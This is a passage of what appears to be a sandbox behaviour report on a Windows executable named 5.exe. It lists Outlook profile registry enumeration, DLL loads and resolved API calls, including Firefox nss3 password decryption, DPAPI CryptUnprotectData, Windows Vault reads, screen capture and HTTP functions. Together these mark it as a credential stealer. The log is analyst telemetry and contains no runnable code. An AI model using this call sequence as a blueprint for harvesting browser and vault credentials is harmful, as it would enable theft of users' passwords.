Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\05cb6f136411cf4daf1f74e966b0a7dc - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\4b62e5f8c092a64ea9b79fd559a5a15e - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\609a848a708f544697003a34105400ef - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\63cba20b08018a458b6edb5d87fb54da - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\828cd3a417cead4ab3a214070dce1c3d - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\88d17fec23cbdd4fb54ad1d34c0dce09 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\a533ec91a4f74549ac2130b6908c8aac - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b70c659765f94740b657fee657d05ab4 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\cce6b8ce16bac4458e5e40e3530d6f1d - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\dd7f40a823cda64b92e9a96e9e46e406 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - False 1
Fn
Module (278)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 6
Fn
Load user32.dll base_address = 0x74f40000 True 3
Fn
Load advapi32.dll base_address = 0x74d40000 True 3
Fn
Load oleaut32.dll base_address = 0x75220000 True 1
Fn
Load gdi32.dll base_address = 0x75ad0000 True 1
Fn
Load ole32.dll base_address = 0x755e0000 True 4
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load crypt32.dll base_address = 0x759b0000 True 1
Fn
Load crtdll.dll base_address = 0x6c240000 True 1
Fn
Load Gdiplus.dll base_address = 0x73d90000 True 7
Fn
Load shell32.dll base_address = 0x75fd0000 True 1
Fn
Load ntdll.dll base_address = 0x77130000 True 1
Fn
Load wininet.dll base_address = 0x753d0000 True 1
Fn
Load C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\nss3.dll base_address = 0x70d50000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 1
Fn
Load kernel32 base_address = 0x0 False 1
Fn
Load kernel32 base_address = 0x76c20000 True 1
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 1
Fn
Load vaultcli.dll base_address = 0x74b40000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 5
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\5.exe base_address = 0x400000 True 2
Fn
Get Handle wininet.dll base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\api-ms-win-core-synch-l1-2-0.dll base_address = 0x74650000 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\5.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\5.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x76c349d7 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSection, address_out = 0x77162c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalFree, address_out = 0x76c32d3c True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersion, address_out = 0x76c34467 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetThreadLocale, address_out = 0x76c335cf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoA, address_out = 0x76c30e00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoA, address_out = 0x76c4d5e5 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetKeyboardType, address_out = 0x74f99ac4 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxA, address_out = 0x74fafd1e True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharNextA, address_out = 0x74f57a1b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExA, address_out = 0x74d548ef True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExA, address_out = 0x74d54907 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 2
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysFreeString, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysReAllocStringLen, address_out = 0x75227810 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysAllocStringLen, address_out = 0x752245d2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleA, address_out = 0x76c31245 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegEnumKeyA, address_out = 0x74d6a299 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = FreeSid, address_out = 0x74d5412e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalUnlock, address_out = 0x76c4cfdf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalLock, address_out = 0x76c4d0a7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemInfo, address_out = 0x76c349ca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileAttributesW, address_out = 0x76c31b18 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryW, address_out = 0x76c34259 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileW, address_out = 0x76c5830d True 2
Fn
Get Address c:\windows\syswow64\gdi32.dll function = SelectObject, address_out = 0x75ae4f70 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = DeleteObject, address_out = 0x75ae5689 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = DeleteDC, address_out = 0x75ae58b3 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = CreateCompatibleDC, address_out = 0x75ae54f4 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = CreateCompatibleBitmap, address_out = 0x75ae5f49 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = BitBlt, address_out = 0x75ae5ea6 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ReleaseDC, address_out = 0x74f57446 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetSystemMetrics, address_out = 0x74f57d2f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetDC, address_out = 0x74f572c4 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharToOemBuffA, address_out = 0x74f6b1b0 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = OleInitialize, address_out = 0x755fefd7 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x75629d0b True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\crypt32.dll function = CryptUnprotectData, address_out = 0x759e5a7f True 1
Fn
Get Address c:\windows\syswow64\crtdll.dll function = wcscmp, address_out = 0x6c25032a True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdiplusStartup, address_out = 0x73db5600 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdiplusShutdown, address_out = 0x73db56be True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipCreateBitmapFromHBITMAP, address_out = 0x73dc6671 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipGetImageEncodersSize, address_out = 0x73dd2203 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipGetImageEncoders, address_out = 0x73dd228c True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipDisposeImage, address_out = 0x73dc4cc8 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipSaveImageToStream, address_out = 0x73dc4153 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CreateStreamOnHGlobal, address_out = 0x7560363b True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = GetHGlobalFromStream, address_out = 0x756041d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExpandEnvironmentStringsW, address_out = 0x76c34173 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetComputerNameW, address_out = 0x76c3dd0e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalMemoryStatus, address_out = 0x76c38b6d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSize, address_out = 0x76c3196e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateMutexA, address_out = 0x76c34c6b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReleaseMutex, address_out = 0x76c3111e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentDirectoryW, address_out = 0x76c35611 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEnvironmentVariableW, address_out = 0x76c389f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableW, address_out = 0x76c31b48 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetCurrentDirectoryW, address_out = 0x76c41260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalMemoryStatusEx, address_out = 0x76c5d4c4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32FirstW, address_out = 0x76c58baf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32NextW, address_out = 0x76c5896c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDllDirectoryW, address_out = 0x76cb004f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocalTime, address_out = 0x76c35aa6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeZoneInformation, address_out = 0x76c3465a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RemoveDirectoryW, address_out = 0x76cb44cf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalDriveStringsA, address_out = 0x76c3e4dc True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = GetUserNameW, address_out = 0x74d5157a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExW, address_out = 0x74d540fe True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExW, address_out = 0x74d546ad True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = AllocateAndInitializeSid, address_out = 0x74d540e6 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = LookupAccountSidA, address_out = 0x74d81daa True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CreateProcessAsUserW, address_out = 0x74d4c592 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CheckTokenMembership, address_out = 0x74d4df04 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyW, address_out = 0x74d52459 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegEnumKeyW, address_out = 0x74d5445b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegEnumValueW, address_out = 0x74d548cc True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptAcquireContextA, address_out = 0x74d491dd True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptCreateHash, address_out = 0x74d4df4e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptHashData, address_out = 0x74d4df36 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGetHashParam, address_out = 0x74d4df7e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptDestroyHash, address_out = 0x74d4df66 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptReleaseContext, address_out = 0x74d4e124 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = EnumDisplayDevicesW, address_out = 0x74f7e567 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = wvsprintfA, address_out = 0x74f6aad3 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetKeyboardLayoutList, address_out = 0x74f62e69 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\ntdll.dll function = RtlComputeCrc32, address_out = 0x771effc1 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetConnectA, address_out = 0x753f49e9 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpOpenRequestA, address_out = 0x753f4c7d True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpAddRequestHeadersA, address_out = 0x753edcd2 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpSendRequestA, address_out = 0x754618f8 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCrackUrlA, address_out = 0x753dd075 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetSetOptionA, address_out = 0x753e75e8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitOnceExecuteOnce, address_out = 0x76c4d627 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreW, address_out = 0x76c4ca5a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleEx, address_out = 0x76c4c78f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandle, address_out = 0x76c5cbfc True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimePreciseAsFileTime, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeConditionVariable, address_out = 0x77168456 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WakeConditionVariable, address_out = 0x771d7de4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WakeAllConditionVariable, address_out = 0x7719409d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SleepConditionVariableCS, address_out = 0x76cb4b32 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSRWLock, address_out = 0x77168456 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AcquireSRWLockExclusive, address_out = 0x771629f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TryAcquireSRWLockExclusive, address_out = 0x77174892 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReleaseSRWLockExclusive, address_out = 0x771629ab True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SleepConditionVariableSRW, address_out = 0x76cb4b74 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWork, address_out = 0x76c4ee45 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SubmitThreadpoolWork, address_out = 0x771a8491 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWork, address_out = 0x7719d8e2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Get Address c:\windows\syswow64\api-ms-win-core-synch-l1-2-0.dll function = InitializeConditionVariable, address_out = 0x77168456 True 1
Fn
Get Address c:\windows\syswow64\api-ms-win-core-synch-l1-2-0.dll function = SleepConditionVariableCS, address_out = 0x76cb4b32 True 1
Fn
Get Address c:\windows\syswow64\api-ms-win-core-synch-l1-2-0.dll function = WakeAllConditionVariable, address_out = 0x7719409d True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_open, address_out = 0x70da49c9 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_close, address_out = 0x70da3341 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_prepare_v2, address_out = 0x70d8d529 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_step, address_out = 0x70d6cfda True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_column_text, address_out = 0x70d6d453 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_column_bytes, address_out = 0x70d6d37e True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_finalize, address_out = 0x70d6c7d3 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = NSS_Init, address_out = 0x70de0391 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = PK11_GetInternalKeySlot, address_out = 0x70e048fe True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = PK11_Authenticate, address_out = 0x70ded0d8 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = PK11SDR_Decrypt, address_out = 0x70e0089d True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = NSS_Shutdown, address_out = 0x70de061c True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = PK11_FreeSlot, address_out = 0x70e04370 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadDescription, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CLSIDFromString, address_out = 0x755fe599 True 1
Fn
Get Address c:\windows\syswow64\vaultcli.dll function = VaultOpenVault, address_out = 0x74b426a9 True 1
Fn
Get Address c:\windows\syswow64\vaultcli.dll function = VaultEnumerateItems, address_out = 0x74b43099 True 1
Fn
Get Address c:\windows\syswow64\vaultcli.dll function = VaultGetItem, address_out = 0x74b43242 True 1
Fn
User (3)
»
Operation Additional Information Success Count Logfile
Get Username user_name_out = 5p5NrGJn0jS HALPmcxz True 3
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (37)
»
Operation Additional Information Success Count Logfile
